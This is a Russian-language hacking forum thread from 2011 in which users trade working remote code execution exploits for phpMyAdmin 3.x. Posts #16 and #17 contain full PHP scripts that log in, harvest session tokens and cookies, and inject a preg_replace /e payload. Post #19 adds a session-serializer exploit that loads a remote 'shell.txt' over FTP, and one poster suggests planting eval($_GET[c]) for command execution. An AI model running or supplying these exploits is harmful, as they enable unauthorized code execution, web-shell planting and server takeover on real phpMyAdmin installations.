Старый 08.07.2011, 12:11   #11
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
SynQ вне форума   Ответить с цитированием
Старый 08.07.2011, 15:50   #12
python-ptrace
Banned
 
Регистрация: 07.07.2010
Сообщений: 16
Репутация: 14
По умолчанию

Цитата:
Сообщение от SynQ Посмотреть сообщение
http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
Это все понятно)
у меня никак не хотят сохраняться в сессию новые переменные:
./index.php?session_to_unset=a&_SESSION[dsf]=fsdfsd
или автор не проверял свое адвизори или я сильно туплю)
python-ptrace вне форума   Ответить с цитированием
Старый 08.07.2011, 18:27   #13
Raz0r
 
Аватар для Raz0r
 
Регистрация: 17.07.2010
Сообщений: 100
Репутация: 78
По умолчанию

Тоже самое и у меня =\
Raz0r вне форума   Ответить с цитированием
Старый 08.07.2011, 18:45   #14
Pr0xor
 
Регистрация: 27.08.2010
Сообщений: 158
Репутация: 69
По умолчанию

Цитата:
Сообщение от M4g Посмотреть сообщение
у меня никак не хотят сохраняться в сессию новые переменные:
./index.php?session_to_unset=a&_SESSION[dsf]=fsdfsd
или автор не проверял свое адвизори или я сильно туплю)
Судя по его блогу чел не такой уж сильный спец по безопастности(выложил он там, его первые два поста, то что и так давно всем
известно, да и то сначало пытался выдать за свое, но его в коментах стали троллить и он добавил ссылки ))))

Адвизори линк на который выложен выше, оставляет впечатление, что чувак просто нашел в коде подозрительные места ну и сообщил разрабам, а они с ним типа согласились...
Пма довольно увесистый пакет, со своей логикой, так что слабо вериться что этот хаксор реально во
все это вникал....
Вообщем конечно все это довольно интересно и забавно, но имхо довольно сыровато.....

Последний раз редактировалось Pr0xor; 08.07.2011 в 18:47..
Pr0xor вне форума   Ответить с цитированием
Старый 09.07.2011, 14:19   #15
Raz0r
 
Аватар для Raz0r
 
Регистрация: 17.07.2010
Сообщений: 100
Репутация: 78
По умолчанию

Появились 2 PoC от автора:

phpMyAdmin 3.x preg_replace RCE POC
phpMyAdmin 3.x Swekey RCI Exploit

Также один сторонний эксплоит:

phpMyAdmin3 (pma3) Remote Code Execution Exploit

На phpmyAdmin 3.4.3 (PHP 5.3.1, Windows 7) не сработал ни один. Но в последнем эксплоите есть кое-какая информация насчет ограничений:

Код:
# Requirements: 1. "config" directory must created&writeable in pma directory. 
#               2. session.auto_start = 1 in php.ini configuration.
Папки config действительно не было и значение session.auto_start было 0. Но даже после всех необходимых действий ни один эксплоит не заработал. Грешу на PHP 5.3.1, хотя возможно есть еще какие-то ограничения. В общем, уязвимость, как говорится, тепличная =\
Вложения
Тип файла: txt pma.py.txt (3.4 Кб, 869 просмотров)

Последний раз редактировалось Raz0r; 09.07.2011 в 14:23.. Причина: добавил исправленный сплоит на питоне, не вызывающий ошибку 403, как его тестили непонятно...
Raz0r вне форума   Ответить с цитированием
Старый 09.07.2011, 20:44   #16
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

удалось выполнить код через прег_реплейс) зависимость - magic_quotes_gpc=Off
как сделал:
Код:
логинимся, сохраняем идентификатор сессии из куки phpMyAdmin
index.php?token=[наш токен]&_SESSION[trg_db]=\`?phpinfo():phpinfo();%00&_SESSION[uncommon_tables][1]=qwe||/e%00&session_to_unset=123
потом возвращаем на место нашу сессию и
server_synchronize.php?token=[наш токен]&0=1US1&Table_ids=1
пашет один раз, потом очищается uncommon_tables
1US1 => [uncommon_tables][1]
картинка большая


PS. в сплоитах на записывание инфы в config.inc.php используются кавычки, magic_quotes_gpc их может экранировать и соответственно код не выполнится. Можно переделать сплоит, чтоб вписывалось чтото типа eval($_GET[c]); без кавычек и т.п.
PPS. типа сплоит для phpinfo(), пару кусков выдрал из сплоита с ha.xxor.se
Код:
<?php
$cookie = '';
$user = 'root';
$pass = '';
$pmaurl = 'http://localhost/phpMyAdmin-3.3.7-all-languages';
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_POST => 1,
	CURLOPT_URL => $pmaurl.'/index.php',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_POSTFIELDS => 'pma_username='.urlencode($user).'&pma_password='.urlencode($pass)
));
$result = curl_exec($ch);
curl_close($ch);
// Extract cookies
preg_match('/pma_mcrypt_iv=[^;]+; /', $result, $matches);
$cookie = $matches[0];
preg_match('/phpMyAdmin=[^;]+; /', $result, $matches);
$cookie .= $matches[0];
preg_match('/pmaUser-[^;]+; /', $result, $matches);
$cookie .= $matches[0];
preg_match('/pmaPass-([^;]+)/', $result, $matches);
$cookie .= $matches[0];
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/index.php?token='.$token.'&_SESSION[trg_db]=\`?phpinfo():phpinfo();%00&_SESSION[uncommon_tables][1]=qwe||/e%00&session_to_unset=123',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_COOKIE => $cookie
));
$result = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/server_synchronize.php?token='.$token.'&0=1US1&Table_ids=1',
//	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_COOKIE => $cookie
));
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>

Последний раз редактировалось Andrey1800; 09.07.2011 в 22:27.. Причина: забыл самое ценное)
Andrey1800 вне форума   Ответить с цитированием
Старый 10.07.2011, 00:17   #17
Andrey1800
 
Регистрация: 31.08.2010
Сообщений: 196
Репутация: 154
По умолчанию

в процессе тестов оказалось, что при rg=on пма ругается на 0=1US1 словами "numeric key detected"
второй сплоит работает по той же схеме, что и http://ha.xxor.se/2011/07/phpmyadmin-3x-pregreplace-rce-poc.html
ограничения прежние, magic_quotes_gpc=Off
Код:
<?php
$cookie = '';
$user = 'root';
$pass = '';
$pmaurl = 'http://localhost/phpMyAdmin-3.3.7-all-languages';
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_POST => 1,
	CURLOPT_URL => $pmaurl.'/index.php',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_POSTFIELDS => 'pma_username='.urlencode($user).'&pma_password='.urlencode($pass)
));
$result = curl_exec($ch);
curl_close($ch);
// Extract cookies
preg_match('/pma_mcrypt_iv=[^;]+; /', $result, $matches);
$cookie = $matches[0];
preg_match('/phpMyAdmin=[^;]+; /', $result, $matches);
$cookie .= $matches[0];
preg_match('/pmaUser-[^;]+; /', $result, $matches);
$cookie .= $matches[0];
preg_match('/pmaPass-([^;]+)/', $result, $matches);
$cookie .= $matches[0];
// Extract token
preg_match('/(token=|token" value=")([0-9a-f]{32})/', $result, $matches);
$token = $matches[2];
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/index.php?token='.$token.'&_SESSION[trg_db]=\`?phpinfo():phpinfo();%00&_SESSION[uncommon_tables][0]=qwe||/e%00&_SESSION[src_uncommon_tables][0]=qwe||/e%00&session_to_unset=123',
	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_COOKIE => $cookie
));
$result = curl_exec($ch);
curl_close($ch);
$ch = curl_init();
curl_setopt_array($ch, array(
	CURLOPT_URL => $pmaurl.'/server_synchronize.php?token='.$token.'&synchronize_db=1',
//	CURLOPT_HEADER => 1,
	CURLOPT_RETURNTRANSFER => 1,
	CURLOPT_FOLLOWLOCATION => 0,
	CURLOPT_TIMEOUT => 10,
	CURLOPT_SSL_VERIFYPEER => false,
	CURLOPT_SSL_VERIFYHOST => false,
	CURLOPT_COOKIE => $cookie
));
$result = curl_exec($ch);
curl_close($ch);
echo $result;
?>
Andrey1800 вне форума   Ответить с цитированием
Старый 10.07.2011, 17:20   #18
python-ptrace
Banned
 
Регистрация: 07.07.2010
Сообщений: 16
Репутация: 14
По умолчанию

Конец эпопеи
phpMyAdmin < 3.3.10.2 & < 3.4.3.1 Session Serializer arbitrary PHP code execution exploit by M4g
---
upd: magic_quotes_gpc все-таки off + по тестам Andrey1800 PHP <= 5.2.13 & PHP <= 5.3.2=(
python-ptrace вне форума   Ответить с цитированием
Старый 16.07.2011, 23:08   #19
nikp
Banned
 
Регистрация: 05.07.2010
Сообщений: 201
Репутация: 183
По умолчанию

Хотел потестить сплоит Мага (предыдущий для версии 2.11.9 работал великолепно), не сработал нигде,
в т.ч. и на localhost. Попробовал разобраться. В моем случае не парсился $token и не было записи в сессию.
Поправил под свои условия, вернулся к работе через ftp (сплоиты M4gа и asddasа отлично дополняли друг-друга,
но не заменяли, а сессия находится далеко не всегда).

На большинстве хостов scripts/setup.php удалили, возможно получится заюзать уязвимость еще раз.
PHP код:
<?php
# авторство полностью Мага, допилил только, чтобы заработало у меня.
# http://snipper.ru/view/103/phpmyadmin-33102-3431-session-serializer-arbitrary-php-code-execution-exploit/

/*---------SETUP-----------*/
$pmaurl   ='http://localhost/pma/'//full PMA url 
$good_inj ='ftp://login:password@site.com/shell.txt';      
#$good_inj="Documentation.html";
 
/*-------EXPLOIT CODE-----------*/
set_time_limit(300); 
 
//отправляем http-данные
//$method = POST|GET, $url = http://site.com/path, $data = foo1=bar1&foo2=bar2, referer, cookie, useragent, other headers, timeout, what to show = (0-all, 1-body, 2-headers), redirect = 0|1
function send_data($method$url$data ''$referer_string ''$cookie_string ''$ua_string 'Mozilla/5.0 (Windows; U; Windows NT 6.0; pl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8'$other_headers''$timeout 30$show 0$follow_redirect=0)
    {
    global 
$count_redirects,$max_redirects;
    
$return '';
    
$feof_count 0;
 
    
$parsed_url parse_url($url);
    
$site $parsed_url['host'];
    
$path $parsed_url['path'];
    
$query $parsed_url['query'];
 
    if(
preg_match('@_$@i',$query) && !preg_match('@_$@i',$url))
        
$query rtrim($query,'_');
 
    if(
preg_match('@_$@i',$path) && !preg_match('@_$@i',$url))
        
$path rtrim($path,'_');
 
    (
$method == 'GET' && !empty($data)) ? $path .= '?'.$data '';
    (
$method == 'GET' && !empty($query) && empty($data)) ? $path .= '?'.$query '';
    (
$method == 'POST' && !empty($query)) ? $path .= '?'.$query '';
 
    if(
$fp fsockopen($site80$errno$errstr$timeout))
        {
        (
$method == 'POST') ? $out "POST $path HTTP/1.1\r\n" $out "GET $path HTTP/1.1\r\n";
           
$out .= "Host: $site\r\n";
          
$out .= "Content-type: application/x-www-form-urlencoded\r\n";
             
$out .= "Connection: Close\r\n";
           
$out .= "User-Agent: $ua_string\r\n";
           !empty(
$referer_string) ? $out .= "Referer: $referer_string\r\n" '';
           !empty(
$cookie_string) ? $out .= "Cookie: $cookie_string\r\n" '';
        !empty(
$other_headers) ? $out .= $other_headers '';
        (
$method == 'POST') ? $out .= "Content-Length: ".strlen($data)."\r\n\r\n" $out .= "\r\n";
        (
$method == 'POST') ? fwrite($fp$out.$data) : fwrite($fp$out);
 
        while (!
feof($fp)) 
            {
            if(
$feof_count >=10000)
                break;
 
            
$return .= fread($fp4800);
            ++
$feof_count;
            }
 
        
fclose($fp);
 
        if(
$follow_redirect)
            {
            if(
$count_redirects<$max_redirects)
                {
                if(
preg_match('@Location: (.+)@i',$return,$redirect_match))
                    {
                    
$count_redirects++;
                    
$return send_data($method$redirect_match[1], $data$referer_string$cookie_string$ua_string$other_headers$timeout$show$follow_redirect);
                    
$count_redirects 0;
                    }
                }
            else
                return 
'Max redirects = '.$max_redirects;
            }
 
        if(
$show == 1)
            {
            
$return explode("\r\n\r\n",$return);
            
$return $return[1];
            }
        elseif(
$show == 2)
            {
            
$return explode("\r\n\r\n",$return);
            
$return $return[0];
            }
 
        return 
$return;
        }
    else
        return array(
'errno' => $errno'errstr' => $errstr);
        }
 
$pmaurl rtrim($pmaurl,'/').'/index.php';
 
 
//1. Token, Session name and Cookies
$token_page send_data('POST',$pmaurl,'pma_username='.urlencode('root').'&pma_password=');      
 
#preg_match('@name="token" value="([a-f0-9]{32})"@is',$token_page,$token_array);
preg_match('@token=([a-f0-9]{32})&@is',$token_page,$token_array);
 
$token $token_array[1];
 
preg_match_all('@Set-Cookie: ([^\r\n;]+)@is',$token_page,$cookie_array);
 
$cookie_array $cookie_array[1];
$cookie_array implode("; ",$cookie_array);
 
preg_match('@phpMyAdmin=([a-z0-9]{32,40});?@is',$token_page,$session_array);
 
$session $session_array[1];

#echo $token_page, '=========000<br />',$token, '=========111<br />',$session, '============222<br />'; 

 
//2. Inject into session
 
if($good_inj)
    {
   
$query $pmaurl.'?session_to_unset=123&token='.$token.'&_SESSION[!bla]='.urlencode('|xxx|a:1:{i:0;O:10:"PMA_Config":1:{s:6:"source";s:'.strlen($good_inj).':"'.$good_inj.'";}}');
   
$sess_test_page send_data('POST',$query,'pma_username='.urlencode('root').'&pma_password=',$pmaurl,$cookie_array);
    
$sess_test_page2 send_data('GET',$pmaurl.'?token='.$token,'',$pmaurl,$cookie_array);
 
    print 
$sess_test_page2;
    }
?>
Попробовал протестировать этот вариант - результат близкий к нулевому, слишком много ограничений.
Возможно реализация не лучшая, но похоже бага имеет теоретическую ценность больше, чем практическую.
nikp вне форума   Ответить с цитированием
Старый 06.09.2011, 01:09   #20
tavel
 
Регистрация: 20.08.2011
Сообщений: 7
Репутация: -2
По умолчанию

Цитата:
Сообщение от M4g Посмотреть сообщение
+ по тестам Andrey1800 PHP <= 5.2.13 & PHP <= 5.3.2=(
никто не подскажет почему?
__________________
-
tavel вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot